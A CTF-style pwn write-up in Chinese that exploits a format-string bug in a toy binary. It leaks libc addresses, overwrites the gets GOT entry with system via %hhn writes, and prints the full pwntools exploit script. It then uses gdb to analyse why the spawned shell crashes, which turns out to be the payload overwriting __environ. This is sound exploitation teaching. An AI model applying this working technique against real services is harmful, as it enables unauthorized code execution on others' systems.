0x00 背景

一朋友问到在pwn中,gdb调试看到了systemm("/bin/sh")了,但是shell确无法启动。于是我详细看了一下这个题目,发现自己的exploit绝大多数情况下也无法启动shell。

0x01 题目解答

用IDA逆了一下,程序很简单,printf的参数可以控制。

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [sp+14h] [bp-6Ch]@3
int v4; // [sp+18h] [bp-68h]@5
int v5; // [sp+7Ch] [bp-4h]@1
v5 = *MK_FP(__GS__, 20);
setbuf(stdout, 0);
while ( 1 )
{
introduce();
do
__isoc99_scanf("%d", &v3);
while ( (char *)(char)getchar() == "\n" );
if ( v3 == 1 )
{
puts("please input your name:");
gets((char *)&v4);
printf((const char *)&v4);
puts(",you are welcome!");
}
else if ( v3 == 2 )
{
puts("nothing!!!!lol");
}
else
{
puts("please,don't trick me");
}
}
}

程序是一个循环,所以可以无限次的利于格式化字符串漏洞。

我们可以通过第一次利用,泄漏任意一个函数的地址,通过libc计算偏移从而计算出system函数的地址。
通过第二次利用可以通过printf来覆盖gets的GOT表中的地址的前三位(小端存储),即可将gets的GOT中的地址换成system的地址。
有了system的地址,还需要一个sh的地址。然而由于gets的参数就是指针,所以需要v4指向的值为sh。于是可以在第二次利用payload中加上字符sh,此时有个技巧,因为没法控制sh后面是0x00,所以需要在sh后面加一个分号,这样就将这个长字符串当成sh和未知命令来执行。

写GOT表还有个小技巧,因为通过printf来写内存的时候是将printf打印出来字符的数量写入内存。因此,当写一个很大的值时屏幕会打印很多字符导致程序崩掉。

所以,在这里我们使用一字节写%hhn,按字节顺序写gets函数GOT表中的三个字节(一次完成)。

0x02 Exploit及其无法启动分析

from pwn import *
#io = remote("115.28.185.220", 11111)
io = remote("127.0.0.1", 10001)
context.log_level = "DEBUG"
#raw_input()
elf = ELF("./pwn1")
#libc = ELF("./libc32.so")
libc = ELF("./libc-2.19.so")
gets_system = libc.symbols["gets"] - libc.symbols["system"]
io.recvuntil("plz input$")
io.sendline("1")
io.recvuntil("please input your name:")
payload = p32(elf.got["gets"]) + "%6$s"
io.sendline(payload)
gets_addr = io.recvuntil("Welcome to ziiiro's class")[5:9]
gets_addr = u32(gets_addr)
log.success("[gets addr] = > {}".format(hex(gets_addr)))
#io.interactive()
def get_sum(pre, num):
x = num - pre
if x < 0:
x = 255 + x + 1
return x
system_addr = p32(gets_addr - gets_system)
num1 = get_sum(16, ord(system_addr[0]))
num2 = get_sum(16+num1, ord(system_addr[1]))
num3 = get_sum(16+num1+num2, ord(system_addr[2]))
log.success("[system addr] = > {}".format(hex(gets_addr - gets_system)))
print num1, num2, num3
raw_input()
payload = "sh;a"
payload += p32(elf.got["gets"])
payload += p32(elf.got["gets"] + 1)
payload += p32(elf.got["gets"] + 2)
payload += "a" * num1 + "%7$hhn"
payload += "b" * num2 + "%8$hhn"
payload += "c" * num3 + "%9$hhn"
payload += "\x00"
io.recvuntil("plz input$")
io.sendline("1")
io.recvuntil("please input your name:")
io.sendline(payload)
io.recvuntil("Welcome to ziiiro's class")
io.recvuntil("plz input$")
io.sendline("1")
io.interactive()

调试,看为什么无法执行shell。system执行流程如下

system -> __libc_system -> do_system -> execve

do_system

#ifdef FORK
pid = FORK ();
#else
pid = __fork ();
#endif
if (pid == (pid_t) 0)
{
/* Child side. */
const char *new_argv[4];
new_argv[0] = SHELL_NAME;
new_argv[1] = "-c";
new_argv[2] = line;
new_argv[3] = NULL;
/* Restore the signals. */
(void) __sigaction (SIGINT, &intr, (struct sigaction *) NULL);
(void) __sigaction (SIGQUIT, &quit, (struct sigaction *) NULL);
(void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL);
INIT_LOCK ();
/* Exec the shell. */
(void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);
_exit (127);
}
else if (pid < (pid_t) 0)
/* The fork failed. */
status = -1;
else
/* Parent side. */
{
/* Note the system() is a cancellation point. But since we call
waitpid() which itself is a cancellation point we do not
have to do anything here. */
if (TEMP_FAILURE_RETRY (__waitpid (pid, &status, 0)) != pid)
status = -1;
}

可以看出do_system的流程是这样的,先fork一个进程。子进程去执行execve。

Legend: code, data, rodata, value
136 (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);
gdb-peda$ p new_argv
$3 = {0xf7732bb1 "sh", 0xf7732ba9 "-c",
0xffb4b4d8 "sh;a\024\240\004\b\025\240\004\b\026\240\004\b%7$hhn", 'b' <repeats 178 times>..., 0x0}
gdb-peda$ p __environ
$4 = (char **) 0xffb4b5ec
gdb-peda$ x/wx 0xffb4b5ec
0xffb4b5ec: 0x63636363 => not Accessable
gdb-peda$

可以看出__environnew_argv中的第三个元素只差0x114 = 276个字符,所以直接被payload覆盖了。

execve有三个参数,第一个参数是,第二个参数是argv,第三个参数是envp。其中第二个参数和第三个参数都是char **类型的,也就是说都是字符串数组。然而,我们可以通过调试看出由于argv中的第三个元素,也就是我们system的参数过长,导致覆盖掉了__environ,也就是覆盖了__environ中的指针,此时程序会访问这个指针指向的地址,当然这个地址是不可访问的。程序fork出来的进程就会crash。所以shell并没有启动起来。

那么还有一个问题,有时候shell却能起成功。原因是:人品好!因为payload是根据system地址动态变化的,所以当地址差值刚好变小的时候payload无法覆盖__environ。这时候shell便可以成功启动。

0x03 解决方法

在printf修改GOT表的时候,同时将payload用0x00截断即可。